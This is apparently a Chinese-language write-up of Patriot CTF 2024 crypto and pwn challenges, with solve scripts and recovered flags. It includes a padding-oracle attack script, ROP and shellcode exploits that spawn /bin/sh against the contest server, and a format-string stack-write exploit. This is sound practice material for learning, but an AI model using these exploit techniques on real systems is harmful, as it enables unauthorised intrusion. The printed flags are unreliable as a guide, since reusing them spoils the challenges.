[Patriot CTF 2024]
Crypto
Bigger is Better
这外国比赛也搞这种猜的题,给了N,e,c其中e非N差不多,所以猜d很小(纯猜,d很小会使e很大,但反过来不一定成立)
直接用连分式e/N来分解出d
N = 0xa0d9f425fe1246c25b8c3708b9f6d7747dd5b5e7f79719831c5cbe19fb7bab66ed62719b3fc6090120d2cfe1410583190cd650c32a4151550732b0fc97130e5f02aa26cb829600b6ab452b5b11373ec69d4eaae6c392d92da8bcbea85344af9d4699e36fdca075d33f58049fd0a9f6919f3003512a261a00985dc3d9843a822974df30b81732a91ce706c44bde5ff48491a45a5fa8d5d73bba5022af803ab7bd85250e71fc0254fcf078d21eaa5d38724014a85f679e8a7a1aad6ed22602465f90e6dd8ef95df287628832850af7e3628ad09ff90a6dbdf7a0e6d74f508d2a6235d4eae5a828ac95558bbdf72f39af5641dfe3edb0cdaab362805d926106e2af
e = 0x5af5dbe4af4005564908a094e0eabb0a921b7482483a753e2a4d560700cb2b2dc9399b608334e05140f54d90fcbef70cec097e3f75395d0c4799d9ec3e670aca41da0892a7b3d038acb7a518be1ced8d5224354ce39e465450c12be653639a8215afb1ba70b1f8f71fc1a0549853998e2337604fca7edac67dd1e7ddeb897308ebf26ade781710e6a2fe4c533a584566ea42068d0452c1b1ecef00a781b6d31fbab893de0c9e46fce69c71cefad3119e8ceebdab25726a96aaf02a7c4a6a38d2f75f413f89064fef14fbd5762599ca8eb3737122374c5e34a7422ea1b3d7c43a110d3209e1c5e23e4eece9e964da2c447c9e5e1c8a6038dc52d699f9324fd6b9
c = 0x731ceb0ac8f10c8ff82450b61b414c4f7265ccf9f73b8e238cc7265f83c635575a9381aa625044bde7b34ad7cce901fe7512c934b7f6729584d2a77c47e8422c8c0fe2d3dd12aceda8ef904ad5896b971f8b79048e3e2f99f600bf6bac6cad32f922899c00fdc2d21fcf3d0093216bfc5829f02c08ba5e534379cc9118c347763567251c0fe57c92efe0a96c8595bac2c759837211aac914ea3b62aae096ebb8cb384c481b086e660f0c6249c9574289fe91b683609154c066de7a94eafa749c9e92d83a9d473cc88accd9d4c5754ccdbc5aa77ba9a790bc512404a81fc566df42b652a55b9b8ffb189f734d1c007b6cbdb67e14399182016843e27e6d4e5fca
#猜d很小,连分式求d
def plus(e, n):
m = 2
c = pow(m, e, n)
q0 = 1
list1 = continued_fraction(Integer(e)/Integer(n))
conv = list1.convergents()
for i in conv:
k = i.numerator()
q1 = i.denominator()
for r in range(20):
for s in range(20):
d = r*q1 + s*q0
m1 = pow(c, d, n)
if m1 == m:
print(r,s)
return d
q0 = q1
d = plus(e,N)
#15 4
#6790868203158235630829276584520781742736789439092826195998797654123576347733572735958718971497900958255627200126351007473832666320814528828633214007567537
m = pow(c,d,N)
from Crypto.Util.number import *
long_to_bytes(int(m))
b'pctf{fun_w1th_l4tt1c3s_f039ab9}'
IDK cipher
import base64
"""
********************************************
* *
* *
********************************************
"""
# WARNING: This is a secret key. Do not expose it.
srt_key = 'secretkey' # // TODO: change the placeholder
usr_input = input("\t:"*10)
if len(usr_input) <= 1:
raise ValueError("PT must be greater than 1")
if len(usr_input) % 2 != 0:
raise ValueError("PT can only be an even number")
if not usr_input.isalnum():
raise ValueError("Only alphabets and numbers supported")
# WARNING: Reversing input might expose sensitive information.
rsv_input = usr_input[::-1]
output_arr = []
for i in range(int(len(usr_input) / 2)):
c1 = ord(usr_input[i])
c2 = ord(rsv_input[i])
enc_p1 = chr(c1 ^ ord(srt_key[i % len(srt_key)]))
enc_p2 = chr(c2 ^ ord(srt_key[i % len(srt_key)]))
output_arr.append(enc_p1)
output_arr.append(enc_p2)
# WARNING: Encoded text should not be decoded without proper authorization.
encoded_val = ''.join(output_arr)
b64_enc_val = base64.b64encode(encoded_val.encode())
R = "R"*20
E = "E"*5
EXCLAMATION = "!"*5
print(f"ULTRA SUPE{R} SECUR{E} Encoded Cipher Text{EXCLAMATION}:", b64_enc_val.decode())
'''
idk cipher
392
Beginner
I spent a couple of hours with ???; now I am the world's best cryptographer!!! note: the flag contents will just random chars-- not english/leetspeak
Cipher Text: QRVWUFdWEUpdXEVGCF8DVEoYEEIBBlEAE0dQAURFD1I=
Please wrap the flag with pctf{}.
Author: sans909
'''
这个还是猜,由于明文和密文异或的加密,密钥是循环使用的,所以把每个可能的密钥堆一起看循环多少会有重复。
a = b64decode('QRVWUFdWEUpdXEVGCF8DVEoYEEIBBlEAE0dQAURFD1I=')
for i in range(0,32,2):
k = ''
for v in '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz':
if chr(ord(v)^a[i]).isalnum() and chr(ord(v)^a[i+1]).isalnum():
k += v
print(k)
'''
pqrstvwxy
12345789abcdefg
01234589abcdefgno
rsxyz
0123456789dehijklmno
01234567pqrstuvw
0189fgijklmno
0123567abdefglm
rsyz
qrstuvwz
01234567BCDEGHIJKLMNOPQRSTUVWbcdeghijklmnopqrstuvw
023456789abcdefghi
pqrtuvw
123456789bcdefghi
01234567pqrstuvw
6789abcdefgjk
'''
结果就是题目里给的secretkey,早猜省大事了。
a = b64decode('QRVWUFdWEUpdXEVGCF8DVEoYEEIBBlEAE0dQAURFD1I=')
key = b'secretkey'*2
v1 = ''
v2 = ''
for i in range(16):
v1 += chr(a[i*2]^key[i])
v2 = chr(a[i*2+1]^key[i])+v2
print(v1+v2)
#pctf{234c81cf3cd2a50d91d5cc1a1429855f}
*One for you, one for me
没弄明白
怎么解决,但确实成功的人还挺多。但这些人都不写我能搜着的WP,好几天都没搜到。
from flag import FLAG
import secrets
def share_bits_with_you(flag):
# Convert the flag to its binary representation
flag_bits = ''.join(f'{ord(c):08b}' for c in flag)
num_bits = len(flag_bits)
indices = list(range(num_bits))
# Fisher-Yates shuffle to mix up the bits
for i in range(num_bits - 1, 0, -1):
j = secrets.randbelow(i + 1) #会出现不变的情况
indices[i], indices[j] = indices[j], indices[i]
# Split the bits: half for you, half for me :3
boyfriend_indices = indices[:num_bits // 2]
my_indices = indices[num_bits // 2:]
flipped_bits = list(flag_bits)
# You get your bits unchanged
for i in boyfriend_indices:
flipped_bits[i] = flag_bits[i]
# I keep my bits by flipping them, keeping them secret (tehe~)
for i in my_indices:
flipped_bits[i] = '1' if flag_bits[i] == '0' else '0'
# Combine the bits back into a string
flipped_flag = ''.join(flipped_bits)
# Convert the binary string to hexadecimal
hex_result = hex(int(flipped_flag, 2))[2:]
# Pad the hex result with zeros to ensure it matches the correct number of bits
hex_result = hex_result.zfill((num_bits + 3) // 4)
return hex_result
# Share the bits 1000000 times <3 <3 <3
for _ in range(1000000):
result = share_bits_with_you(FLAG)
print(result)
*Protected Console
一个AES CBC padding oracle的题,给出已知明文的密文,通过padding oracle得到AES密文对应的明文得到特定的明文。不过网站比较慢,需要5000次交互,没弄成。
#!/usr/bin/python3
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad, unpad
from external import *
import socketserver, signal, json, os, re, sys
from io import StringIO
listen = 1337
attempts = 10000
flag = getflag()
guest = b"{'username':'guest_user','role':0}"
def encrypt(key,iv,message):
cipher = AES.new(key, AES.MODE_CBC, iv)
return cipher.encrypt(pad(message,16)).hex()
def ispadding(dec):
pad_b = dec[-2:]
pad_amt = int("0x"+pad_b,16)
valid = pad_b*pad_amt
padding = dec[len(dec)-(pad_amt*2):]
return valid==padding
def decrypt(key,token):
iv = bytes.fromhex(token[:32].decode())
ct = bytes.fromhex(token[32:].decode())
cipher = AES.new(key, AES.MODE_CBC, iv)
dec = cipher.decrypt(ct)
return dec
def admin(tries,req):
key = os.urandom(16)
iv = os.urandom(16)
eg = iv.hex()+encrypt(key,iv,b"print(1337)")
req.sendall(b"====================================================================================================\n")
req.sendall(b"|| ADMIN CONSOLE ||\n")
req.sendall(b"|| RUN ENCRYPTED PYTHON CODE HERE ||\n")
req.sendall(b"====================================================================================================\n")
req.sendall(b" Example: "+str.encode(str(eg))+b"\n")
while tries < attempts:
req.sendall(b'Code ('+str.encode(str(tries))+b'/'+str.encode(str(attempts))+b'): ')
c = req.recv(4096).strip(b'\n')
try:
code = decrypt(key,c)
if ispadding(code.hex()):
code = unpad(code,16)
if re.match(b"print\([0-9a-zA-Z]*\)",code) != None:
old_stdout = sys.stdout
sys.stdout = mystdout = StringIO()
try:
eval(code)
except Exception as e:
print(str(e))
sys.stdout = old_stdout
req.sendall(mystdout.getvalue().encode())
exit()
except:
pass
tries += 1
def serve(req):
tries = 0
req.sendall(b"====================================================================================================\n")
req.sendall(b"|| SECRET LOGIN ||\n")
req.sendall(b"|| AUTHORIZED PERSONNEL ONLY ||\n")
req.sendall(b"|| ||\n")
req.sendall(b"|| PROVIDE SECURE ACCESS TOKEN ||\n")
req.sendall(b"|| ||\n")
req.sendall(b"====================================================================================================\n")
key = os.urandom(16)
iv = os.urandom(16)
guest_enc = iv.hex()+encrypt(key,iv,guest)
req.sendall(b"Guest: "+str.encode(str(guest_enc))+b"\n")
while tries < attempts:
req.sendall(b'Access token ('+str.encode(str(tries))+b'/'+str.encode(str(attempts))+b'): ')
t = req.recv(4096).strip(b'\n')
try:
token = decrypt(key,t)
if ispadding(token.hex()):
token = unpad(token,16)
else:
req.sendall(b"Error!\n")
except Exception as e:
print(str(e))
tries += 1
continue
try:
data = json.loads(token)
if data['username'] == 'administrative_user' and data['role'] == 1:
admin(tries,req)
except:
pass
tries += 1
class incoming(socketserver.BaseRequestHandler):
def handle(self):
signal.alarm(1500)
req = self.request
serve(req)
def main():
socketserver.TCPServer.allow_reuse_address = True
server = ReusableTCPServer(("0.0.0.0", listen), incoming)
server.serve_forever()
if __name__ == "__main__":
main()
对于AES_CBC模式,会把IV与明文异或后再加密得到密文,如果修改IV就会得到另外一个明文,这个明文可以通过padding是否正确来求出m^iv的值,每字节256种情况,16字节一块,所以交互量很大。没完成验证,大体意思是这样的。
最后一段的明文和密文都知道,修改的IV也就是前一块的密文。前一块密文再求对应的明文。
#!/usr/bin/python3
from pwn import *
from Crypto.Util.Padding import pad, unpad
def padding_oracle(c):
tail = b''
for i in range(1,17):
for v in range(256):
iv = b'\0'*(16-i) + bytes([v])
if len(tail) != 0:
iv += xor(tail, bytes([i]))
'''
m_ = decrypt(key,(iv+c).hex().encode())
if ispadding(m_.hex()):
print(i,v,m_)
tail = bytes([i^v]) + tail
break
'''
p.sendlineafter(b'/10000): ', (iv+c).hex().encode())
m_ = p.recv(8)
if b'Access' in m_:
tail = bytes([i^v]) + tail
print(tail)
break
print(tail)
return tail
p = remote('chal.competitivecyber.club', 6002)
#context.log_level = 'debug'
p.recvuntil(b"Guest: ")
guest_enc = p.recvline().strip().decode()
enc = bytes.fromhex(guest_enc)
print('C:', enc)
c = [enc[i:i+16] for i in range(16,64,16)]
m0 = b"{'username':'guest_user','role':0}"
m1 = b"{'username':'administrative_user','role':1}"
m0s = [pad(m0,16)[i:i+16] for i in range(0, 48, 16)]
m1s = [pad(m1,16)[i:i+16] for i in range(0, 48, 16)]
#尾段,直接使用原密文,计算它的前一段密文:IV
c2 = c[2]
c1 = xor(c[1],m0s[2],m1s[2])
#decrypt(key,(c1+c2).hex().encode())
#b"','role':1}\x05\x05\x05\x05\x05"
#padding Oracle获取c1对应的明文
c0 = padding_oracle(c1)
c0 = xor(c0, m1s[1])
#decrypt(key,(c0+c1+c2).hex().encode())
#b"inistrative_user','role':1}\x05\x05\x05\x05\x05"
#获取第1段密文对应的IV
civ = padding_oracle(c0)
civ = xor(civ, m1s[0])
m = civ+c0+c1+c2
#decrypt(m.hex().encode())
#b"{'username':'administrative_user','role':1}\x05\x05\x05\x05\x05"
#admin
p.sendlineafter(b"/10000): ", m.hex().encode())
p.recvuntil(b" Example: ")
enc2 = bytes.fromhex(p.recvline().strip())
iv3 = xor(enc2[:16], pad(b"print(1337)"), pad(b"print(flag)"))
m3 = iv3+enc2[16:]
p.sendlineafter(b"/10000): ", m3.hex().encode())
*Melting Tux
给了一张PNG图和一块代码。
from Cryptodome.Cipher import AES
from Cryptodome.Util.Padding import pad,unpad
import os
from datetime import datetime
import random
# safe key, trust
key = '00000000000000000000000000000000'
def gen_offset():
super_safe_seed = int(datetime.utcnow().timestamp())
random.seed(super_safe_seed)
return random.randint(1000,2000)
def encrypt(raw):
raw = pad(raw,16)
cipher = AES.new(key.encode('utf-8'), AES.MODE_[!garbled!])
return cipher.encrypt(raw)
def decrypt(enc):
cipher = AES.new(key.encode('utf-8'), AES.MODE_[!garbled!])
return unpad(cipher.decrypt(enc),16)
### encrypted past this point, sorry!
同样相信他这个key就是正确的。PNG后部加密应该是AES_ECB加密的,可以解出来,生成的图后部还是错位的。但是可以得到IDAT,IEND的标志,应该解密没错。不清楚后边怎么弄,能看到部分字符但看不清。
High Roller
给了公钥和p,q的生成方法,是用时间作种子,求利用random来求的。根据题目文件的时间向前可以爆破出来。
#! /usr/bin/python3.10
from Crypto.Util.number import *
from Crypto.PublicKey import RSA
import random
import time
random.seed(int(time.time()))
p, q = getPrime(512, random.randbytes), getPrime(512, random.randbytes)
n = p*q
e = getPrime(512)
phi = (p-1)*(q-1)
assert GCD(e, phi) == 1
d = pow(e, -1, phi)
key = RSA.construct((n, e, d, p, q))
with open("public_key.pem", "wb") as f:
f.write(key.publickey().export_key("PEM"))
with open("private_key.pem", "wb") as f:
f.write(key.export_key("PEM"))
t = time.mktime((2024,8,19,6,8,0,0,0,0)) #key生成时间
for i in range(86400):
random.seed(t-i)
p = getPrime(512, random.randbytes)
if n%p == 0:
print(p)
break
p = 12755616420244552784651819814922603264461536506050691824543446955544267480734504279051922356798188307604097044560859050438094446505846479858831073168460207
q = n//p
d = invert(e, (p-1)*(q-1))
m = pow(c,d,n)
long_to_bytes(m)
#CACI{T!ME_T0_S33D}
Hard to Implement
AES_ECB的padding oracle
#!/usr/bin/python3
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Random import get_random_bytes
from external import *
import socketserver, signal
listen = 1337
attempts = 1500
flag = getflag()
def encrypt(key,plaintext):
cipher = AES.new(key, AES.MODE_ECB)
pt = pad(plaintext + flag.encode(), 16)
return cipher.encrypt(pt).hex()
def serve(req):
key = get_random_bytes(16)
tries = 0
req.sendall(b"Thank you for using our secure communications channel.\nThis channel uses top-shelf military-grade encryption.\nIf you are not the intended recepient, you can't read our secret.")
while tries < attempts:
req.sendall(b'\n('+str.encode(str(tries))+b'/'+str.encode(str(attempts))+b') ')
req.sendall(b'Send challenge > ')
try:
ct = encrypt(key, req.recv(4096).strip(b'\n'))
req.sendall(b"Response > " + ct.encode() + b'\n')
except Exception as e:
req.sendall(b"An error occured!\n")
tries += 1
req.sendall(b'\nMax attempts exceeded, have a good day.\n')
class incoming(socketserver.BaseRequestHandler):
def handle(self):
signal.alarm(1500)
req = self.request
serve(req)
def main():
socketserver.TCPServer.allow_reuse_address = True
server = ReusableTCPServer(("0.0.0.0", listen), incoming)
server.serve_forever()
if __name__ == "__main__":
main()
from pwn import *
from base64 import *
import string
def oracle(data):
r.sendlineafter(b'Send challenge > ', data)
r.recvuntil(b"Response > ")
s=r.recvline().strip().decode()
return bytes.fromhex(s)
r=remote('chal.competitivecyber.club', 6001)
flag=b''
for i in range(32):
padding=b'A'*(32-1-i)
test=oracle(padding) #尾部漏出flag 1个字符
for c in string.printable:
if oracle(padding+flag+c.encode())[:32]==test[:32]: #pad+已知的flag+猜
flag=flag+c.encode()
print(flag, i)
break
Bit by Bit
MTP的题,key最后一个字符已知
#!/usr/bin/python3
import sys
blocksize = 16
def loadMessage():
message = ""
with open("message.txt","r",encoding='utf-8') as file:
for line in file:
message += line
while len(message) % blocksize != 0:
message += '0'
return message
def encode(chunk):
start = 120
encoded = 0
for c in chunk:
encoded = encoded | (ord(c)<<start)
start -= 8
return encoded
def transmit():
# Test key
key = 0xadbeefdeadbeefdeadbeef00
iv = 0
msg = loadMessage()
chunks = [msg[i:i+16] for i in range(0,len(msg), 16)]
send = ''
for chunk in chunks:
iv = (iv+1) % 255
curr_k = key+iv
encoded = encode(chunk)
enc = encoded ^ curr_k
foo = hex(enc)[2:]
while len(foo) != 32:
foo = '0'+foo
send += foo
print(send)
sys.exit(0)
if __name__=="__main__":
transmit()
一个个猜就行,因能能让所有字符都是可打印字符的key很少。最多也就两三个。再眼看去掉那些明显组不成单词的。
enc = open('out.txt').read().strip()
c = [bytes.fromhex(enc[i:i+32]) for i in range(0, len(enc),32)]
print(len(c))
key = [0,0,0,174,205,75,19,144,69,35,234,105,186, 254]
#0000 1100 1001 011
k = 16-1-len(key)-1
for tkey in range(128):
iv = 0
t = '---------------------------------------------------\n/'
for j in c:
iv = (iv+1)%255
t+=chr(j[k]^tkey)
for i in range(len(key)):
t+=chr(j[k+1+i]^key[i])
t+=chr(j[15]^iv)+'/'
if t.replace('\n','').replace('\t','').isprintable():
print(tkey, t)
#pctf{4_th3_tw0_t1m3_4a324510356}
*Scrambler V2
生成key的时候执行了r.seed(int(key)) 而key是格式化的日期时间,所以可以爆破。
import random as r
import datetime as dt
import time as t
import os
def main():
choice = ""
print(f"Welcome to the Scrambler V2, your one stop encryption tool.")
print(f"What would you like to do?\n")
while choice.lower() != "q":
menu()
choice = input(">>> ")
if choice == "1":
encrypt()
elif choice == "2":
decrypt()
elif choice.lower() == "q":
print(f"Scrambler V2 exiting...")
exit()
else:
print(f"Your choice ({choice}) is not a valid option.\n")
def menu():
print(f"[1] Encrypt file")
print(f"[2] Decrypt file")
print(f"[Q] Exit program\n")
def encrypt():
key, ts = generateKey(r.randint(0, 100), r.randint(0, 200), r.randint(546, 994))
try:
print(f"\nEnter name of file to encrypt:")
encFile = input(">>> ")
path = os.path.dirname(os.path.realpath(__file__))
end = f"\\{encFile}"
path = path + end
with open(path, "r") as f:
lines = f.readlines()
except FileNotFoundError as e:
print(f"The following error occurred: {e}\n")
except PermissionError as e:
print(f"The following error occurred: {e}\n")
except KeyboardInterrupt:
print(f"\nLeaving so soon? Don't you wanna stay???\n")
else:
r.shuffle(lines)
for index, line in enumerate(lines):
l = list(line)
r.shuffle(l)
lines[index] = "".join(l)
int(key) ^ int(key); str(key) + end
path = os.path.dirname(os.path.realpath(__file__))
path = path + "\\encryptedFlag.txt"
with open(path, "w") as o:
o.writelines(lines)
print(f"\nEncryption complete. Creating log file...")
path = os.path.dirname(os.path.realpath(__file__))
path = path + "\\encLog.txt"
with open(path, "w") as l:
l.writelines(f"Encrypted file name: encryptedFlag.txt\nEncyrption completed at {ts}\n")
print(f"Log file created. Have a nice day!\n")
def generateKey(iv, xor1, mod1):
now = dt.datetime.now()
key = now.strftime("%Y%m%d%H%M%S")
ts = f"{key[:4]}/{key[4:6]}/{key[6:8]} {key[8:10]}:{key[10:12]}:{key[12:]}"
int(key) ^ iv; r.seed(int(key)); int(key) ^ xor1; int(key) % mod1
return key, ts
def decrypt():
print(f"\nEnter name of file to decrypt:")
fileName = input(">>> ")
print(f"\nEnter decryption key:")
key = input(">>> ")
end = f"\\{fileName}"
path = os.path.dirname(os.path.realpath(__file__))
path = path + end
try:
with open(path, "r") as i:
lines = i.readlines()
iv: 1 = r.randint(r.randint(-20000, 0), r.randint(0, 20000))
xor1, mod1 = xor1[:] = [[]], []
iv = 0; xor1 = 0; mod1 = 99
except FileNotFoundError as e:
print(f"The following error occurred: {e}\n")
except PermissionError as e:
print(f"The following error occurred: {e}\n")
else:
print(f"Attempting to decrypt file...")
int(key) ^ iv; int(key) ^ xor1; int(key) % mod1
t.sleep(0.6); print(f"."); t.sleep(0.6); print(f"..")
t.sleep(0.6); print(f"..."); t.sleep(0.6)
print(f"Decryption failed.\n")
if __name__ == "__main__":
main()
PWN
Not So Shrimple Is It
溢出到后门,但是后门是6字节需要用尾部的\0覆盖。但远程没成功。
from pwn import *
context(arch='amd64', log_level='debug')
p = process('./shrimple')
gdb.attach(p, "b*0x4013c0\nc")
#strncat(dest, s, 0x32uLL); 遇到\0就结束(含\0),先用\0覆盖掉libc_start_main_ret的头两字节 \x7fff 再覆盖后边4字节到后门
p.sendlineafter(b"Remember to just keep it shrimple!\n>> ", b'A'*43+b'\0')
p.sendlineafter(b"Remember to just keep it shrimple!\n>> ", b'A'*42+b'\0')
p.sendlineafter(b"Remember to just keep it shrimple!\n>> ", b'A'*38+p64(0x40127d))
p.interactive()
Navigator
getpin只能向前溢出,可以用来泄露libc,这里边的libc不知道,根据其它作出来的题知道是2.35-0u3.6,setpin可以后后溢出,写ROP
from pwn import *
context(arch='amd64', log_level='debug')
libc = ELF('/home/kali/glibc/libs/2.35-0ubuntu3.8-amd64/libc.so.6')
def setpin(idx, msg):
p.sendlineafter(b">> ", b'1')
p.sendlineafter(b"Pin index >> ", str(idx).encode())
p.sendlineafter(b"Pin character >> ", msg)
def getpin(idx):
p.sendlineafter(b">> ", b'2')
p.sendlineafter(b"Pin index >> ", str(idx).encode())
p.recvuntil(b"Pin:\n")
return p.recv(1)
#p = process('./navigator')
#gdb.attach(p, "b*0x5555555553b3\nc")
p = remote('chal.competitivecyber.club', 8887)
stack = b''
for i in range(8):
stack+= getpin(-17*8+i)
print(stack[::-1].hex())
libc.address = u64(stack) - 20 - libc.sym['atoi']
print(f"{libc.address = :x}")
pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
pay = flat(pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\0')), libc.sym['system'])
for i,v in enumerate(pay):
setpin(0x158+i, bytes([v]))
p.sendlineafter(b">> ", b'3')
p.interactive()
Shellcrunch
这个shell,每4字节会用5来异或1,并且每12字节会把3-6改为12,所以前2字节用jmp $+6,后边可以写6字节。作个read来绕过检查,由read来读信真正的shellcode,纯手搓.
from pwn import *
context(arch='amd64', log_level='debug')
code = b'\xeb\x04' + b'\x01'*4 + b'W^P_jp' #push rdi;pop rsi; push rax;pop rdi;push 0x70 rax=0,rdi=0,rsi=buf
code+= b'\xeb\x04' + b'\x01'*4 + b'Z\x0f\x05'
print(code)
#
a = list(code)
print(bytes(a).hex())
a[0]^=4
a[8]^=a[9]
a[12]^=4
print(bytes(a).hex())
for i in range(len(a)):
if a[i] in list(b';/binsh\0'):
print(i,hex(a[i]))
#p = process('./shellcrunch')
#gdb.attach(p,"b*0x55555555541a\nc")
p = remote('chal.competitivecyber.club', 3004)
p.sendafter(b"Enter shellcode:\n", bytes(a))
sleep(0.5)
p.send(b'\x90'*0x16+asm(shellcraft.sh()))
p.interactive()
string_only
看上去像堆题的格式化字符串题。在show的时候用printf,所以是一个串不在栈内的格式化字符串题。利用argv写栈。
from pwn import *
context(arch='amd64', log_level='debug')
#p = process('./strings_only')
#gdb.attach(p, "b*0x202971\nc")
p = remote('chal.competitivecyber.club', 8888)
p.sendlineafter(b"> ", b'1')
p.sendlineafter(b"> ", b'0x100')
def prtf(msg):
p.sendlineafter(b"> ", b'2')
p.sendlineafter(b"> ", b'0')
p.sendlineafter(b"> ", msg)
p.sendlineafter(b"> ", b'3')
p.sendlineafter(b"> ", b'0')
prtf(b"%15$p")
stack = int(p.recvline(),16) - (0xdf28-0xde38)
print(f"{stack = :x}")
#(0xdf28-0xde10)//8+6 = 41
prtf(f"%{stack&0xffff}c%15$hn".encode())
for i,v in enumerate(p32(0xcafebabe)):
prtf(f"%{(stack+i)&0xff}c%15$hhn\0".encode())
prtf(f"%{v}c%41$hhn")
p.sendlineafter(b"> ", b'5')
p.interactive()
'''
0x00007fffffffde10│+0x0000: 0x0000000000204dc0 → 0x0000000000205010 → "%6$p%7$p\n" ← $rsp
0x00007fffffffde18│+0x0008: 0x0000000000000000
0x00007fffffffde20│+0x0010: 0x0000000000000002
0x00007fffffffde28│+0x0018: 0x0000000000000000
0x00007fffffffde30│+0x0020: 0x0000000300000000
0x00007fffffffde38│+0x0028: 0x0000000000000000
0x00007fffffffde40│+0x0030: 0x00000000002029b0 → <__libc_csu_init+0> push rbp ← $rbp
0x00007fffffffde48│+0x0038: 0x00007ffff782046a → <__libc_start_main+234> mov edi, eax
0x00007fffffffde50│+0x0040: 0x000000000000c000
0x00007fffffffde58│+0x0048: 0x00007fffffffdf28 → 0x00007fffffffe272 → "/home/kali/ctf/2409/21/strings_only"
'''